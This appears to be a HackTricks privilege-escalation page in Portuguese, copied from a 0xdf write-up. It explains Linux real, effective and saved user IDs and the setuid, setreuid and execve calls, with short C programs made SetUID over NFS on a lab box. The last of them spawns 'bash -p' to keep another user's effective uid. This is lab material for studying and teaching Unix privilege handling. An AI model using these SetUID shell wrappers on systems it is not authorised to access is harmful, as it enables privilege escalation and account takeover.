hacktricks/linux-hardening/privilege-escalation/euid-ruid-suid.md
2023-06-06 18:56:34 +00:00

9.7 KiB

euid, ruid, suid

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Este post foi copiado de https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail

*uid

  • ruid: Este é o ID de usuário real do usuário que iniciou o processo.
  • euid: Este é o ID de usuário efetivo, é o que o sistema olha ao decidir quais privilégios o processo deve ter. Na maioria dos casos, o euid será o mesmo que o ruid, mas um binário SetUID é um exemplo de um caso em que eles diferem. Quando um binário SetUID é iniciado, o euid é definido como o proprietário do arquivo, o que permite que esses binários funcionem.
  • suid: Este é o ID de usuário salvo, é usado quando um processo privilegiado (na maioria dos casos, executando como root) precisa abandonar privilégios para executar algum comportamento, mas precisa então voltar ao estado privilegiado.

{% hint style="info" %} Se um processo não-root quiser alterar seu euid, ele só pode definir para os valores atuais de ruid, euid ou suid. {% endhint %}

set*uid

À primeira vista, é fácil pensar que as chamadas do sistema setuid definiriam o ruid. Na verdade, quando para um processo privilegiado, isso acontece. Mas no caso geral, na verdade define o euid. Da página do manual:

setuid() define o ID de usuário efetivo do processo chamador. Se o processo chamador tiver privilégios (mais precisamente: se o processo tiver a capacidade CAP_SETUID em seu namespace de usuário), o UID real e o ID de usuário salvo também são definidos.

Portanto, no caso em que você está executando setuid(0) como root, isso define todos os IDs como root e basicamente os trava (porque suid é 0, ele perde o conhecimento ou qualquer usuário anterior - é claro, processos root podem mudar para qualquer usuário que desejarem).

Duas chamadas de sistema menos comuns, setreuid (re para real e efetivo) e setresuid (res inclui salvo) definem os IDs específicos. Estar em um processo não privilegiado limita essas chamadas (da página do manual para setresuid, embora a página para setreuid tenha linguagem semelhante):

Um processo não privilegiado pode alterar seu UID real, UID efetivo e ID de usuário salvo, cada um para um dos seguintes: o UID real atual, o UID efetivo atual ou o ID de usuário salvo atual.

Um processo privilegiado (no Linux, aquele que possui a capacidade CAP_SETUID) pode definir seu UID real, UID efetivo e ID de usuário salvo para valores arbitrários.

É importante lembrar que eles não estão aqui como uma característica de segurança, mas sim refletem o fluxo de trabalho pretendido. Quando um programa deseja mudar para outro usuário, ele muda o ID de usuário efetivo para que possa agir como esse usuário.

Como atacante, é fácil adquirir o hábito ruim de apenas chamar setuid porque o caso mais comum é ir para root, e nesse caso, setuid é efetivamente o mesmo que setresuid.

Execução

execve (e outros execs)

A chamada do sistema execve executa um programa especificado no primeiro argumento. O segundo e terceiro argumentos são matrizes, os argumentos (argv) e o ambiente (envp). Existem várias outras chamadas do sistema que são baseadas em execve, referidas como exec (página do manual). Cada um deles é apenas um invólucro em cima de execve para fornecer diferentes abreviações para chamar execve.

Há muitos detalhes na página do manual, sobre como funciona. Em resumo, quando **execve inicia um programa

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    setuid(1000);
    system("id");
    return 0;
}

Este programa é compilado e definido como SetUID em Jail sobre NFS:

oxdf@hacky$ gcc a.c -o /mnt/nfsshare/a;
...[snip]...
oxdf@hacky$ chmod 4755 /mnt/nfsshare/a

Como root, eu posso ver este arquivo:

[root@localhost nfsshare]# ls -l a 
-rwsr-xr-x. 1 frank frank 16736 May 30 04:58 a

Quando eu executo isso como ninguém, id é executado como ninguém:

bash-4.2$ $ ./a
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0

O programa começa com um ruid de 99 (ninguém) e um euid de 1000 (frank). Quando chega à chamada setuid, esses mesmos valores são definidos.

Em seguida, é chamado o system, e eu esperaria ver um uid de 99, mas também um euid de 1000. Por que não há um? O problema é que sh é um link simbólico para bash nesta distribuição:

$ ls -l /bin/sh
lrwxrwxrwx. 1 root root 4 Jun 25  2017 /bin/sh -> bash

Então, a chamada do system é /bin/sh sh -c id, que é efetivamente /bin/bash bash -c id. Quando o bash é chamado, sem o -p, ele vê o ruid de 99 e o euid de 1000, e define o euid para 99.

setreuid / system

Para testar essa teoria, vou tentar substituir o setuid pelo setreuid:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    setreuid(1000, 1000);
    system("id");
    return 0;
}

Compilação e Permissões:

oxdf@hacky$ gcc b.c -o /mnt/nfsshare/b; chmod 4755 /mnt/nfsshare/b

Agora na prisão, agora id retorna uid de 1000:

bash-4.2$ $ ./b
uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0

A chamada setreuid define tanto ruid quanto euid como 1000, então quando system chamou bash, eles coincidiram e as coisas continuaram como frank.

setuid / execve

Chamando execve, se minha compreensão acima estiver correta, eu também não precisaria me preocupar em mexer com os uids e, em vez disso, chamar execve, pois isso manterá os IDs existentes. Isso funcionará, mas há armadilhas. Por exemplo, o código comum pode parecer com isso:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    setuid(1000);
    execve("/usr/bin/id", NULL, NULL);
    return 0;
}

Sem o ambiente (estou passando NULL para simplificar), vou precisar de um caminho completo em id. Isso funciona, retornando o que eu espero:

bash-4.2$ $ ./c
uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0

O [r]uid é 99, mas o euid é 1000.

Se eu tentar obter um shell a partir disso, tenho que ter cuidado. Por exemplo, apenas chamando bash:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    setuid(1000);
    execve("/bin/bash", NULL, NULL);
    return 0;
}

Eu vou compilar isso e definir o SetUID:

oxdf@hacky$ gcc d.c -o /mnt/nfsshare/d
oxdf@hacky$ chmod 4755 /mnt/nfsshare/d

Ainda assim, isso retornará todos os nobody:

bash-4.2$ $ ./d
bash-4.2$ $ id
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0

Se fosse setuid(0), funcionaria bem (assumindo que o processo tinha permissão para isso), pois então mudaria todos os três ids para 0. Mas como um usuário não-root, isso apenas define o euid para 1000 (que já era), e então chama sh. Mas sh é bash no Jail. E quando bash começa com ruid de 99 e euid de 1000, ele irá rebaixar o euid de volta para 99.

Para corrigir isso, vou chamar bash -p:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    char *const paramList[10] = {"/bin/bash", "-p", NULL};
    setuid(1000);
    execve(paramList[0], paramList, NULL);
    return 0;
}

Desta vez, o euid está presente:

bash-4.2$ $ ./e
bash-4.2$ $ id
uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0

Ou eu poderia chamar setreuid ou setresuid em vez de setuid.